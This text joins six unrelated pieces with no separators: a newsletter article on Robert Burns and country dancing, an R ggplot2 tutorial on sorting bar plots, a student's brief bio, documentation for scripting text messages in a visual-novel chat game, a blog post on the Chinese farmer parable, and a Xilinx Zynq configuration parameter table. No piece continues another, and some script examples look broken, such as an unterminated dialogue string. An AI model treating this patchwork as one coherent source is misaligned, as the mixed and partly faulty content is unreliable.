Edited by Frank R. Shaw, FSA Scot, Atlanta, GA, USA
One of the great pleasures of editing Robert Burns
Lives! is the opportunity to meet people throughout the global
Scottish community who love Robert Burns. In this issue, you will
hear from Peter Westwood, Castle Douglas, Scotland, the
distinguished Editor of the Burns Chronicle and author of
several books. Peter has taken time from finishing a new set of
books on Burns to furnish this article for our readers. It is
extremely rare that an author working on his or her next book will
stop to provide an article for Robert Burns Lives! In the
next issue, David Smith, Hon. Secretary of the Burns Howf
Club, will present our guest column. The Howf Club is located in the
building that houses The Globe Inn that was frequented by Burns.
David has been Hon. Secretary of the Club for 30 years! Gladly do we
sit at the feet of these men to learn more about Robert Burns. I
deeply appreciate the contributions they make to this column that
now receives as many emails as the book reviews or the “Chats” with
authors.
Robert Burns – Country Dancer
By Peter J. Westwood, Editor,
Burns Chronicle
Over the years many questions have been asked about
the social life of Scotland’s National Bard, Robert Burns. It is a
well-known fact that he was socially popular even as a teenager and
country dancing was early on his list of social activities to the
extent that he defied the wishes of his father by joining a local
country dancing class. In his autobiographical letter to Dr. Moore,
he stated: “In my 17th year, to
give my manners a brush, I went to a country dancing school. My
father had an unaccountable antipathy against these meetings; and my
doing was, what to this hour I spent, in absolute defiance of his
commands.”
His
brother Gilbert was later to say, “Robert excelled in dancing,
and was for some time distractedly fond of it”. It was
at a dance during April 1785 that Burns first met Jean Armour who
was eventually to become his wife.
Many
stories have been repeated over the years about what the Poet may or
may not have said or been responsible for. One story on the subject
of dancing which originated from one of the Poet’s schoolmates,
William Niven, goes as follows:
A
week before a local fair, Robert suggested to his friend William
that they should organise a dance on the evening prior to the fair,
and hold it in one of the public houses in the village and invite
their girlfriends to come along. William consented and it was
agreed that some other young men should be asked to join in on this
undertaking.
The
dance took place as planned, music being supplied by a hired band
(probably a local fiddler) and a dozen couples took part. At the
close of the dance they found that the cost of running the evening
amounted to eighteen shillings and fourpence. Unfortunately, hardly
any of those attending had any money, except William, who possessed
about two shillings and sixpence. However the problem was
eventually solved when William agreed to find the money to pay for
the dance. He did this by selling stationery to the school which he
acquired from his father’s warehouse in Maybole. He also sold pens
and paper to his friends. It is not known whether or not these items
were acquired officially!
Sketch by John
Mackay
Words associated with the many forms of dancing and singing crop up
from time to time, not only in the many songs and poems of Robert
Burns, but also in his correspondence, particularly in his letters
to James Johnston (Scots Musical Museum) and to George
Thomson (Select Scottish Airs).
More
than anyone else Burns was responsible for the survival of hundreds
of Scottish tunes including those used for dancing, many of them
still in vogue today. Verses from the Poet’s tale, “Tam o’Shanter”
and his song “The Deil’s awa wi th’ Exciseman” provide excellent
examples on the theme of dancing.
“Warlocks and
witches in a dance:
Nae Cotillion, brent new frae France,
But hornpipes, jigs, strathspeys, and reels,
Put life and mettle in their heels.”
“There’s
threesome reels, there’s foursome reels,
There’s hornpipes and strathspeys, man,
But the ae best dance e’er cam to the land
Was the Deil’s awa wi th’ Exciseman”.
The
Poet’s love of dancing was largely due to his fondness of the lasses
and this can be seen in a number of his songs. In his “Bonnie
Jean” he remarks:
“He gaed wi
Jeanie to the Tryste (Cattle-Fair)
He danc’d wi Jeanie on the down,
And, lang ere witless Jeanie wist,
Her heart was tint, her peace was stown!”
The
subject of the song was not his wife Jean, but Jean McMurdo,
daughter of the Chamberlain of Drumlanrig Castle. In his “Fragment
on Maria” he pays compliment to Maria Riddell, who could
possibly have been a dancing partner:
“How gracefully
Maria leads the dance!
She’s life itself; I never saw a foot
So nimble and so elegant. It speaks
And the sweet whispering Poetry it makes
Shames the musician.”
During the Poet’s tour of the Highlands in 1787 he met Niel Gow, the
famous fiddler, equally well known in Scots song and dance. The
Poet’s song “Amang the Trees” was intended as a compliment to
Niel:
“Amang the trees,
where humming bees
At buds and flowers were hinging, O,
Auld Caledon drew out her drone,
And to her pipe was singing, O.
‘Twas pibroch, sang, strathspeys and reels
She dirl’d them aff fu clearly, O,
When there cam a yell o freign squeels,
That dang her tapsalteerie, O!”
My
final quotation comes appropriately from “The Ploughman”
which is a typical example of Burn’s reworking of a traditional
song:
“I hae been east,
I hae been west,
I hae been at Saint Johnston, (Perth)
The boniest sight that er’e I saw
Was th’ ploughman laddie dancin’.
Snaw-white stockins on his legs,
And siller buckles glancing;
A gude blue bonnet on his head,
And O but he was handsome!”
Let
George Thomson have the final words:
“Mr.
Burns, whose enthusiasm for Caledonian Music and Song, was only
equaled by his poetical talents, no sooner heard of the Editor’s
plan, than he signified his warm approbation of it, and in the most
liberal and cordial manner undertook to contribute every aid in his
power for rendering the Collection as complete as possible. He has
performed what he promised in a manner that transcends the sanguine
expectations formed by the Editor, having enriched the Work with the
most exquisite Songs, both Scottish and English, that exist in any
language; they exhibit all the charms of the Poet’s genius in the
utmost variety both of serious and humorous composition; and every
intelligent reader will contemplate his luxuriant fancy, his ardent
feeling, and manly sentiment, and the impressive energy and
simplicity of his style, with equal wonder and delight. All his
tender and impassioned Songs breathe the genuine, glowing,
unaffected language of the heart; while the scenes, the manners, the
innocence, and the pleasures of rural life, are portrayed with a
pencil so true to nature, as to engage our warmest sympathies and
admiration.” (1/6/2004) |


Load packages
library(tidyverse)
library(forcats)
library(hrbrthemes)
What we want to achieve: barplot ggplot2-diagram where bars and legend labels are sorted
Say we would like to plot frequencies, and would like to use ggplot2
for that purpose. How can we get a decent graph? This post shows some ways.

Plot 1: Basic bar plot
diamonds %>%
ggplot(aes(cut)) +
geom_bar()
It may seem that the bars are sorted (in increasing frequency) out of the box. Unfortunately, they are not. cut
is an ordered factor, where the order is pre-defined:
str(diamonds$cut)
#> Ord.factor w/ 5 levels "Fair"<"Good"<..: 5 4 2 4 2 3 3 3 1 3 ...
Ggplot takes the order of the factor level and orders the bars accordingly; that’s the general behavior one has to bear in mind.
Plot 2: Bar plot, unsorted is default
For the sake of demonstration, consider the following plot:
diamonds %>%
ggplot(aes(x = color)) +
geom_bar()
As can be seen, the abscissa is ordered alphabetically which means in turn that the bars are not sorted by height (ie., frequency of the levels). That’s the ggplot2 default. Let’s change that.
Plot 3: sorted bar plot
There are multiple ways of sorting the bars, see here or here for examples.
One particular simple way is the helper function fct_infreq
from forcats
. From the help:
f <- factor(c("b", "b", "a", "c", "c", "c"))
f
#> [1] b b a c c c
#> Levels: a b c
fct_infreq(f)
#> [1] b b a c c c
#> Levels: c b a
Using this function, sorting becomes easy:
diamonds %>%
ggplot(aes(x = fct_infreq(color))) +
geom_bar()
Plot 4: Adding the legend
Suppose we would like to add a legend. Why would we do so in the first place? One reason could be that the level names are quite long, so we do not want to print them underneath.
diamonds %>%
ggplot(aes(x = fct_infreq(color),
fill = fct_infreq(color))) +
geom_bar()
Note that the legend is sorted accordingly.
Plot 5: Alternative to printing a legend
Note that a legend is suboptimal here, because the eye has to flip back and forth: from the bar to the legend and back again. Let’s try to put it differently:
diamonds %>%
ggplot(aes(x = fct_infreq(color), fill = fct_infreq(color))) +
geom_bar() +
coord_flip() +
scale_fill_viridis_d(guide = FALSE)
Plot 6: Reverse order
For the flipped bar graph we might want to reverse the order of the bars. To that end, we need to reverse the factor levels. One comfortable way is using the function fct_rev()
:
f <- factor(c("a", "b", "c"))
fct_rev(f)
#> [1] a b c
#> Levels: c b a
(Taken from the help)
diamonds %>%
ggplot(aes(x = fct_rev(fct_infreq(color)),
fill = fct_rev(fct_infreq(color)))) +
geom_bar() +
coord_flip() +
scale_fill_viridis_d(guide = FALSE)
Plot 7: Final polishment
diamonds %>%
ggplot(aes(x = fct_rev(fct_infreq(color)))) +
geom_bar() +
coord_flip() +
scale_fill_viridis_d(guide = FALSE) +
theme_ipsum_rc() +
labs(x = "Color",
y = "Count")
There’s probably no need for color in this (flipped version of the) plot. According to Tufte, we should not spoil ink if no (nonredundant) information is transmitted.
Debrief
Of course there many other ways to get going; geom_col
is another option, where we should prepopulate the frequencies.
Happy plotting!


I'm a 21 year old writer, double majoring in Journalism and Screen Studies at The New School. Originally, I'm from Puerto Rico but now live in New York City. I've been a contributor at Her Campus Media and currently, I'm the Community Engagement Manager over at the Journalism and Design department at the New School.
I'm passionate about books, writing, film & TV, and arts & culture. In the future, I'd like to be a journalist who specializes in film, tv, and culture, maybe one day work on a novel. I'm also very passionate about social justice and fighting against systems of oppression.


Text Messages¶
There are two kinds of text messaging styles available in this program. The first, referred to as “regular text messages”, delivers text messages in “chunks” which the player can reply to whenever they like. The second style, called “real-time text conversations”, plays out similar to a one-on-one chatroom. The player receives an initial text message, and upon opening the text conversation, cannot leave until the conversation is over or the player chooses to end it themselves.
The compose text CDS¶
The main way of writing text messages is with a special compose text
CDS that looks like the following example:
compose text s real_time:
s "Hi, [name]."
s "I wanted to show you how text messages work."
s "Send a reply if you got this message okay!"
label example_reply_1
The compose text
CDS takes several options, which are explained below.
- who
Required. “who” should be the ChatCharacter variable of the character who is taking part in the conversation. e.g.
s
- real_time
Indicates that this text message should play out as a real-time text conversation. If this option is not present, the conversation is treated as a regular text message.
- deliver_at
Takes one of four arguments:
random
to have the message delivered at a random time after the associated timeline item has been played but before the next one is made available. This is only applicable if the game is being played in real-time mode; otherwise, the message is simply delivered after the timeline item is played.next_item
to have the message delivered at a random time between the timeline item after this one and the item following it. e.g. if there are three items at 11:00, 12:00, and 13:00 and this text is in theafter_
label of the 11:00 item,deliver_at next_item
will deliver this message sometime between 12:00 and 13:00, whiledeliver_at random
would deliver the text message sometime between 11:00 and 12:00. This only works when the player is playing in real-time mode; otherwise, the message is simply delivered after its timeline item has been played.00:00
where00:00
is any time formatted in 24-hour format. For example,14:23
would cause the message to be delivered at14:23
in real-time. This only works when the player is playing in real-time mode; otherwise, the message is delivered after the associated timeline item is played.now
to show the player a notification for this text message immediately. This is intended for use during chatrooms, phone calls, and Story Mode. The message itself will only be sent after the player completes the story item. If they hang up the call or back out of the chatroom and cause it to expire, the text message will not appear in their inbox. See Manually Sending Text Messages for more information.
The dialogue inside the compose text
block also takes options besides dialogue:
- pause <#>
Indicates that the delivery of the item after the pause should wait the given number of seconds before being delivered. This only occurs when the player is playing on real-time mode.
pause
also takes math expressions for the time e.g.pause 2*60
would cause the following message to be delivered two minutes (120 seconds) after the previous message.- label <labelname>
Sets the label the program should jump to in order to continue a conversation or allow the player to reply.
labelname
should not be in quotations. Including a label is optional; excluding it will simply not provide the player with the option to answer the text message.
Text messages can also include conditional statements to vary dialogue based on certain conditions. An example text message with several of these options combined might look like:
label after_day_1_4:
compose text ja real_time deliver_at 10:15:
ja "Hello, [name]."
pause 60
ja "I had a moment of time on my break so I thought I would message you."
if ja.heart_points > 5:
ja "I would have liked to call and hear your voice, but time is short."
label day_1_4_ja_msg
return
label day_1_4_ja_msg:
ja "What are you doing right now?"
menu:
"Not too much. I'm glad you messaged.":
ja "I see. I had a question for you, in fact."
"Perhaps you can call me later?" if ja.heart_points > 5:
ja "I would like that very much ^^"
award heart ja
ja "If you don't mind, I wanted to ask you:"
"I'm actually kind of busy at the moment.":
ja "Oh, I understand."
ja "I'm sorry to have caught you at a bad time."
ja "Before you go, however, I was hoping to ask:"
ja "Do you like coffee?"
menu:
"I love coffee! I drink it every morning.":
ja "You do? I think it can be nice to have a morning routine, certainly."
"Only if I can have it with lots of cream and sugar.":
ja "Ah, that's understandable."
ja "Coffee can be rather bitter on its own."
"I drink it straight black.":
ja "That's very bold of you. Some coffees are rather bitter."
"I don't really like coffee.":
ja "I understand. It's not always to everyone's taste."
ja "I'm afraid my break is over, but I'm glad I got to talk with you."
ja "I hope we can speak again soon."
return
In this case, the last message of the compose text
block will be the one delivered at the requested time (10:15), so the first message (Hello, [name]) is delivered around 10:14 and the final message at 10:15. The first message may be delivered slightly earlier depending on whether the player has more than 5 heart points with ja
or not, as the program also calculates roughly how long it would take to type out each message and staggers delivery time accordingly. pause
allows you to fine-tune this timing.
Regular Text Messages¶
Note
Example files to look at:
tutorial_3_text_message.rpy
tutorial_3b_VN.rpy
tutorial_5_coffee.rpy
tutorial_11_story_call.rpy
A brief overview of the steps required (more detail below):
Create a label using the prefix
after_
+ the name of the timeline item you want to send the text messages after e.g.label after_day_1_4
- Write
compose text z:
wherez
is the variable for the character who is sending the message. Optionally, you can also include arguments to tell the program when to deliver the message. Acceptable options are
deliver_at 00:00
where00:00
is the time to deliver the message at, in 24-hour time;deliver_at random
to deliver the message randomly before the next timeline item, ordeliver_at next_item
to deliver the message sometime between the next timeline item being available and the one after that.
- Write
- Write dialogue for the conversation, indented at least one level to the right underneath the
compose_text
line. You may also include conditionals here. You can also include the
pause
statement with a number of seconds to pause for, e.g.pause 2.0*60
. The message delivery will be “staggered”, with the message after the pause waiting the given number of seconds before sending.
- Write dialogue for the conversation, indented at least one level to the right underneath the
(Optional) Include a label at the end which will be jumped to to continue the conversation e.g.
label menu1
End the
after_
label with a return.(Optional) Create the label the player can jump to to continue the conversation.
(Optional) Allow the player to reply to the text message again by writing
$ s.text_label = "menu2"
wheres
is the variable for the character sending the message and"menu2"
is the name of the label to jump to to continue the conversation.
Finish the reply label with
return
Sending a Text Message¶
To have a character text the player after a chatroom, the program looks for a label with a special naming convention. For example, if your chatroom is called
label my_chatroom:
then you should create a label called
label after_my_chatroom:
Next, inside the after_
label, use the special compose text
CDS:
compose text s:
where s
is the variable for the character who is sending the message. You can then write dialogue the same way as you would for a chatroom, including adding CGs, emojis, and changing fonts. You can use either the spreadsheet style or the msg
CDS (see Writing Chatroom Dialogue).
Warning
Text messages currently do not support special speech bubbles.
Note that all dialogue for a text message should be indented one level to the right so as to be underneath the compose text
statement:
compose text s:
msg s "This is an example text message!" curly
msg s "You can write lots of dialogue here."
msg s "Just make sure it's indented at the correct level~"
Finally, if you would like the player to be able to reply, include the name of a label the program should jump to in order to find that reply:
compose text s:
msg s "This is an example text message!" curly
msg s "You can write lots of dialogue here."
msg s "Just make sure it's indented at the correct level~"
label my_reply_1
where my_reply_1
is the name of the label the program should jump to in order to continue this conversation when the player opens the message. If you don’t want the player to be able to reply, then you can simply omit this line. They will be able to read the text messages but won’t be able to respond.
Finally, end the after_
label with the line return
.
label after_my_chatroom:
compose text z:
z "Hi [name]!"
z "Hope your morning has been good so far."

label my_reply_1
return
Replying to a Text Message¶
If you gave compose text
a label, when the player presses “Answer”, the program will jump to that label to continue the conversation. There are no restrictions on what you can call this label, but it’s recommended you come up with a consistent naming scheme to avoid accidentally creating several labels with the same name (which will cause errors).
Create a new reply for the label from your text message:
label my_reply_1:
menu:
"No, I haven't eaten yet.":
z "That's no good! You should eat something soon."
"Yup! I ate as soon as I woke up.":
z "That's good to hear."
award heart z
z "Eating breakfast in the morning is really important."
return
For regular text messages, the label should immediately begin with a menu:
so that the player is presented with a choice of answers. You can add as many or as few options as you wish. The dialogue here is written the same way as chatrooms, including awarding heart points. You can only award one heart point per reply. It can be for a character not in the conversation as well. For more information on heart points, see Showing a Heart Icon.
Finally, end the whole label with return
.
Replying after the first message¶
If you want the player to be able to reply again after the first message, you need to tell the program where it can find the label to continue the conversation with $ z.text_label = "menu2"
where z
is the variable of the character who is taking part in the conversation and menu2
is the name of the label to jump to. A text message chain with two opportunities to reply might look like:
label after_my_chatroom:
compose text z:
z "Hi [name]!"
z "Hope your morning has been good so far."

label my_reply_1
return
label my_reply_1:
menu:
"No, I haven't eaten yet.":
z "That's no good! You should eat something soon."
"Yup! I ate as soon as I woke up.":
z "That's good to hear."
z "Eating breakfast in the morning is really important."
z "Do you have any plans for the day?"
$ z.text_label = "my_reply_2"
return
label my_reply_2:
menu:
"Maybe you should call me~":
z "!!"

z "It was good talking with you!"
return
How Text Message Delivery Works¶
When you write text messages inside an after_
label, those messages are added to a “delivery pool” which is delivered to the player in increments after they finish playing the associated timeline item. So, if you composed text messages for characters A, B, and C, the player may receive Character A’s message immediately upon returning to the home screen, and will then receive Character B and C’s messages either by waiting around on the home screen or performing other actions such as replying to other text message or emails.
Similarly, if the player has replied to Character A’s message, Character A’s response gets added to the pool and will eventually be delivered to the player after some time has passed.
All text messages in the delivery pool are immediately delivered as soon as the player clicks to enter the timeline screen.
In this program, there are no time limits on when you can or can’t reply to text messages. However, if a character sends the player a new text message and the player hasn’t replied to the previous conversation, they will no longer be able to continue the older conversation.
Real-Time Text Conversations¶
Unlike regular text messages, real-time text conversations play out similar to a chatroom with a single character. The player receives a text message, and upon entering the conversation, cannot leave until either the conversation is over or the player exits the conversation manually and the conversation is lost.
Note
Example files to look at:
tutorial_3_text_message.rpy
tutorial_3b_VN.rpy
tutorial_5_coffee.rpy
tutorial_11_story_call.rpy
A brief overview of the steps required (more detail below):
Create a label using the prefix
after_
+ the name of the timeline item you want to send the text messages after e.g.label after_day_1_4
Write
compose text z real_time:
wherez
is the variable for the character who is sending the message.Optionally, you can also include arguments to tell the program when to deliver the message. Acceptable options are
deliver_at 00:00
where00:00
is the time to deliver the message at, in 24-hour time;deliver_at random
to deliver the message randomly before the next timeline item, ordeliver_at next_item
to deliver the message sometime between the next timeline item being available and the one after that.
Write dialogue for the conversation, indented at least one level to the right underneath the
compose_text
line. You may also include conditionals here.You can also include the
pause
statement with a number of seconds to pause for, e.g.pause 2.0*60
. The message delivery will be “staggered”, with the message after the pause waiting the given number of seconds before sending.
(Optional) Include a label at the end which will be jumped to to continue the conversation e.g.
label menu1
End the
after_
label with a return.(Optional) Create the label the player can jump to to continue the conversation.
(Optional) Allow the player to reply to the text message again by writing
$ s.text_label = "menu2"
wheres
is the variable for the character sending the message and"menu2"
is the name of the label to jump to to continue the conversation.
Finish the reply label with
return
Writing a Text Conversation¶
To have a character initiate a text conversation, like with regular text messages, you need to have a label that follows a specific naming convention. For example, if your timeline item is called
label casual_route_2_4:
then you need to create a label called
label after_casual_route_2_4:
Then you will compose the text message. This uses a special compose text
CDS:
compose text ju real_time:
ju "I didn't understand what Luciel wrote in the chatroom earlier."
ju "What exactly does 'yeet' mean?"
The main difference between this and regular text messages is the addition of the real_time
option. This tells the program that this conversation will play out in real time once the player enters the conversation rather than having all the messages delivered at once.
Dialogue underneath the compose text
statement can be written the same way as it is for chatrooms, and allows the use of both the spreadsheet style as well as the msg
CDS. Text message conversations can also have CGs, emojis, and special fonts.
Warning
Text messages currently do not support special speech bubbles.
Any dialogue written under the compose text
statement will show up as “backlog” before the user enters the conversation, so it is usually brief.
You can compose text messages for as many characters as you like, and mix and match regular text messages with real-time text conversations freely. There are also additional options available to you for scheduling when the first text message is delivered. See The compose text CDS for more.
Continuing a Text Message Conversation¶
To allow the player to continue the text message conversation, you must provide a label for the program to jump to when the player opens that text message. This is done with the label
argument inside the compose text
CDS:
compose text ju real_time:
ju "I didn't understand what Luciel wrote in the chatroom earlier."
ju "What exactly does 'yeet' mean?"
label casual_2_4_ju_reply
The program will then jump to the label casual_2_4_ju_reply
to continue the conversation. You will write dialogue inside the label identically to a chatroom:
label after_casual_route_2_4:
compose text ju real_time:
msg ju "I didn't understand what Luciel wrote in the chatroom earlier."
msg ju "What exactly does 'yeet' mean?" ser1
label casual_2_4_ju_reply
return
label casual_2_4_ju_reply:
msg ju "I tried to search the Urban Dictionary, but I didn't understand the results."
ju "Hmm. I don't know if I really understand."
ju "But thank you for attempting to explain, nevertheless."
award heart ju
"lololol you're so funny Jumin.":
ju "It was not my intention to be a source of entertainment."
ju "But I suppose I am glad if I was able to bring some levity to your day."
msg ju "Perhaps I will ask Assistant Kang for further clarification." ser1
return
You can add additional dialogue after the reply label, and as many or as few menus (for choices) as you like. Unlike with regular text messages, because the conversation occurs in real time, you may also award or take away heart points as many times as you like during the conversation using award heart
and break heart
. The whole label should end with return
.
Leaving a Real-Time Text Conversation¶
Since real-time text conversations function more closely to chatrooms, if the player clicks the “Back” button during a real-time text conversation, they will be asked if they’d like to end the conversation.
Backing out of a real-time text conversation means that conversation will no longer be available to continue, though the player will retain any heart points or CGs they unlocked before they exited the conversation. There is no option to “replay” text message conversations, but unlike chatrooms a text message conversation does not expire until another text message overwrites it.
Text Message Backlog¶
If you would like text messages to appear as “backlog” in the player’s text message inbox to serve as backstory or to set up a route, there is a special CDS to make writing this easier. You can set the text message timestamps to be several real-life days in the past, and even specify what time a message should appear to be sent at:
add backlog s -4 time 23:22:
s "do u think Jumin would hire me as his assistant?"
msg s "Maybe he'd even let me take care of Elly for him ^^" curly
if s.heart_points < 5 or ju.heart_points > 5:
m "Not really likely, no"
s "Aw T_T"
s "I would be such a good worker!!"
else:
m "You'd be such a good cat mom!!"
s "Right???"
s "Maybe I should ask to be hired as his cat nanny."
s "He needs a cat nanny, doesn't he?"
add backlog
takes the following options:
- who
The character whose text message this backlog is being added to. Should be a ChatCharacter object.
e.g. s
- day
Optional. An integer representing the number of days from the present day this message should be sent at. Negative numbers indicate a number of days in the past e.g.
-1
indicates the message should have a timestamp indicating it was sent yesterday (1 day ago). If not present, the message will appear to be sent on the current date.e.g. -7
- time ##:##
Optional. A timestamp in 24-hour format that indicates the time this first message should appear to have been sent at. Requires a leading zero for times < 10am e.g. 1:05 AM is written as
01:05
and 1:30 PM is written as13:30
.e.g. time 05:16
Next, you will write the dialogue for the text messages. These are written like regular text messages, and you can use both the msg
CDS as well as the spreadsheet method to write dialogue.
The text message backlog statement does not support the use of Python, jumps, or many other features besides dialogue inside the text message block; these messages are intended to be used as setup and are not part of active conversations, so any Python or calculations should be done outside of the add backlog
CDS.
However, the add backlog
CDS does support conditional if/elif/else statements so that you can vary messages based on certain conditions. In the example at the top of this section, you can see that the message varies based on the number of heart points the player has with certain characters.
add backlog
does not support adding labels to jump to in order to reply to a conversation, as it is intended to setup “past” conversations. compose text
is suitable for creating conversations that the player may respond to (see The compose text CDS).
Adjusting Timestamps¶
All lines, regardless of the way they’re written, take the special option time
after the dialogue. This allows you to further customize when the messages are sent at e.g.
add backlog ja -13:
m "Good luck for your first day at the new job, Jaehee ^^" time 07:03
ja "Thank you very much, [name]" time 07:15
ja "{image=jaehee_happy}"
ja "I will do my best!" time 07:18
The above example will have a timestamp 13 days in the past at 7:03 AM for the first message from the MC. The next message, from Jaehee, is also 13 days in the past but has a timestamp for 7:15 AM. The third message does not have an explicit timestamp, so the program will calculate a brief delay between the time given for the previous message and the time the program estimates it would take someone to write the current message. Since Jaehee is merely posting an emoji, this delay will be under a minute long so it will likely also have a timestamp of 7:15 AM. Finally, the last message has a timestamp at 7:18 AM.
Additionally, there is the special line pause
which will cause the program to add the given number of seconds to the timestamp just after the pause statement. For example:
add backlog ju -17 time 20:32:
ju "Good evening, [name]."
ju "You've been with the RFA for a month now so I hoped to ask you a question."
pause 110
m "What is it?"
pause 60*2
ju "Would you consider a position at C&R International?"
The first message will have a timestamp of 20:32. The second message will take a few seconds to write but likely under a minute, so it will have a timestamp of 20:32 as well. After that, there is a pause statement for 110 seconds. This guarantees that the program will add 110 seconds to its calculation of how long the next message should take to type, so the MC’s message will have a timestamp of 20:34.
Finally, after the MC’s line there is a pause of 60*2 seconds, so 2 minutes. This will force an additional two-minute delay between the timestamp of the next message, from Jumin, and the MC’s message. The last message from Jumin should have a time stamp of 20:36.
Note
The program will add several seconds to each backlog message’s timestamp from the initial start timestamp unless an exact time
argument is given. The exact number of seconds depends on the length of the message. This means that if a character has 10 messages in their text message backlog, there is likely to be at least a minute or more of difference in the timestamps of later messages to simulate the real-life time it would take to type out all 10 messages.
Manually Sending Text Messages¶
Normally, the program will take care of text message delivery after a story item. This allows for consistency across real-time and sequential play styles, as the program can execute an item’s after_
label without needing to check through its entire story label. However, there may be some situations where you prefer that a character sends a text message in response to some immediate event. For that, you can use the special delivery time deliver_at now
to trigger a text message to send immediately.
label day_4_chatroom_5_incoming_y():
y "[name]!! I thought of a really funny thing I wanted to share with you."
y "Um, one sec, I'll message you the picture."
compose text y deliver_at now:
y "look at this lolol"
y "common_3" img
y "It's good, right? I thought it was really creative.
In the above example, Yoosung sends the player a text message during a phone call. After Yoosung says “Um, one sec, I’ll message you the picture.” the player will see a text message popup with a preview of the last text message (in this case, because Yoosung sent an image, it will say “Yoosung sent an image.”). This popup is non-interactive; there will not be a button to take the player to the text message immediately and they will need to wait until the phone call is over.
Note also that text messages sent in this way will only actually be delivered to the player’s inbox if they complete the story item where the text message occurs. If they end or jump out of the story item prematurely, such as by hanging up or hitting the back button on chatrooms, the text messages will not be sent even though the player saw a notification during the story item itself. This prevents the player from accumulating a bunch of text messages without properly completing the story item.
Tip
Only the last message in a compose text
block will be shown as a preview to the player. If you want to show them multiple message popups, you’ll need to do so individually like:
compose text u deliver_at now:
u "Ah, I found you."
z "Anyway, I've talked about myself so much aha."
z "So what are you up to?"
compose text u deliver_at now:
u "You should log out now. I'll be there soon."
return


Is it a good thing? Is that a bad thing? I don't know. May 11, 2016, Alexandre Gorius
In nature, Good & Evil do not exist. The Universe itself is neither good nor bad, but a potential in permanent development.
In life, there are 4 types of people.
Down here, the only reality is the one inside our brain. Nothing exists if the brain doesn’t think it. Nothing exists neither if our senses don’t transmit the message. That means that if we mis sense, our reality changes. That’s possible because our perception is limited : you can’t see at 360 degrees for example. If we mis translate the message, our reality changes. If we think it in a way, our reality changes depending on that way. Therefore, if we can change reality that much, everything’s fake.
They’re proofs to that. Fall in love with someone and you’ll see that person as divine. Pull yourself out of that grip and the divine falls from clouds to solid ground, revealing him or herself differently. But the person is the same, you just changed your mind. Everything works like that : it’s not just that you can make your world, it’s that you passively do it anyway.
Once upon a time there was a Chinese farmer whose horse ran away. That evening, all of his neighbors came around to commiserate. They said, “We are so sorry to hear your horse has run away. This is most unfortunate.”
The farmer said, “Is it good? Is it bad? I don't know.”
The next day the horse came back bringing seven wild horses with it, and in the evening everybody came back and said, “Oh, isn’t that lucky. What a great turn of events. You now have eight horses!”
The farmer again said, “Is it good? Is it bad? I don't know.”
The following day his son tried to break one of the horses, and while riding it, he was thrown and broke his leg. The neighbors then said, “Oh dear, that’s too bad,”
and the farmer responded, “Is it good? Is it bad? I don't know.”
The next day the conscription officers came around to conscript people into the army, and they rejected his son because he had a broken leg. Again all the neighbors came around and said, “Isn’t that great!”
Again, he said, “Is it good? Is it bad? I don't know.”
The whole process of nature is an integrated process of immense complexity, and it’s really impossible to tell whether anything that happens in it is good or bad — because you never know what will be the consequence of the misfortune; or, you never know what will be the consequences of good fortune.
Alan Watts
Here is this dialog in the form of a table:
| Event | Good or Bad ? |
|---|---|
| Lose a horse | Maybe |
| Win more horses | Maybe |
| Son injury | Maybe |
| Avoid war | Maybe |
Table representing the farmer's philosophy.
Conclusion
Good and Bad are just one perspective. Bananas are good for monkeys, but monkeys are not good for bananas. Let's not make a big deal out of it...
Need more:
Video


| zynq_ultra_ps_e_v3_2_user_configuration/1 |
| x_ipversion=3.2 |
core_container=NA |
iptotal=1 |
psu__acpu0__power__on=1 |
| psu__acpu1__power__on=1 |
psu__acpu2__power__on=1 |
psu__acpu3__power__on=1 |
psu__actual__ip=1 |
| psu__can0__grp_clk__enable=0 |
psu__can0__peripheral__enable=0 |
psu__can0_loop_can1__enable=0 |
psu__can1__grp_clk__enable=0 |
| psu__can1__peripheral__enable=0 |
psu__crf_apb__acpu_ctrl__act_freqmhz=1333.320000 |
psu__crf_apb__acpu_ctrl__divisor0=1 |
psu__crf_apb__acpu_ctrl__freqmhz=1333.333 |
| psu__crf_apb__acpu_ctrl__srcsel=APLL |
psu__crf_apb__afi0_ref__enable=0 |
psu__crf_apb__afi0_ref_ctrl__act_freqmhz=667 |
psu__crf_apb__afi0_ref_ctrl__divisor0=2 |
| psu__crf_apb__afi0_ref_ctrl__freqmhz=667 |
psu__crf_apb__afi0_ref_ctrl__srcsel=DPLL |
psu__crf_apb__afi1_ref__enable=0 |
psu__crf_apb__afi1_ref_ctrl__act_freqmhz=667 |
| psu__crf_apb__afi1_ref_ctrl__divisor0=2 |
psu__crf_apb__afi1_ref_ctrl__freqmhz=667 |
psu__crf_apb__afi1_ref_ctrl__srcsel=DPLL |
psu__crf_apb__afi2_ref__enable=0 |
| psu__crf_apb__afi2_ref_ctrl__act_freqmhz=667 |
psu__crf_apb__afi2_ref_ctrl__divisor0=2 |
psu__crf_apb__afi2_ref_ctrl__freqmhz=667 |
psu__crf_apb__afi2_ref_ctrl__srcsel=DPLL |
| psu__crf_apb__afi3_ref__enable=0 |
psu__crf_apb__afi3_ref_ctrl__act_freqmhz=667 |
psu__crf_apb__afi3_ref_ctrl__divisor0=2 |
psu__crf_apb__afi3_ref_ctrl__freqmhz=667 |
| psu__crf_apb__afi3_ref_ctrl__srcsel=DPLL |
psu__crf_apb__afi4_ref__enable=0 |
psu__crf_apb__afi4_ref_ctrl__act_freqmhz=667 |
psu__crf_apb__afi4_ref_ctrl__divisor0=2 |
| psu__crf_apb__afi4_ref_ctrl__freqmhz=667 |
psu__crf_apb__afi4_ref_ctrl__srcsel=DPLL |
psu__crf_apb__afi5_ref__enable=0 |
psu__crf_apb__afi5_ref_ctrl__act_freqmhz=667 |
| psu__crf_apb__afi5_ref_ctrl__divisor0=2 |
psu__crf_apb__afi5_ref_ctrl__freqmhz=667 |
psu__crf_apb__afi5_ref_ctrl__srcsel=DPLL |
psu__crf_apb__apll_ctrl__div2=1 |
| psu__crf_apb__apll_ctrl__fbdiv=80 |
psu__crf_apb__apll_ctrl__srcsel=PSS_REF_CLK |
psu__crf_apb__apll_frac_cfg__enabled=0 |
psu__crf_apb__apll_to_lpd_ctrl__divisor0=3 |
| psu__crf_apb__apm_ctrl__act_freqmhz=1 |
psu__crf_apb__apm_ctrl__divisor0=1 |
psu__crf_apb__apm_ctrl__freqmhz=1 |
psu__crf_apb__dbg_fpd_ctrl__act_freqmhz=249.997500 |
| psu__crf_apb__dbg_fpd_ctrl__divisor0=2 |
psu__crf_apb__dbg_fpd_ctrl__freqmhz=250 |
psu__crf_apb__dbg_fpd_ctrl__srcsel=IOPLL |
psu__crf_apb__dbg_trace_ctrl__act_freqmhz=250 |
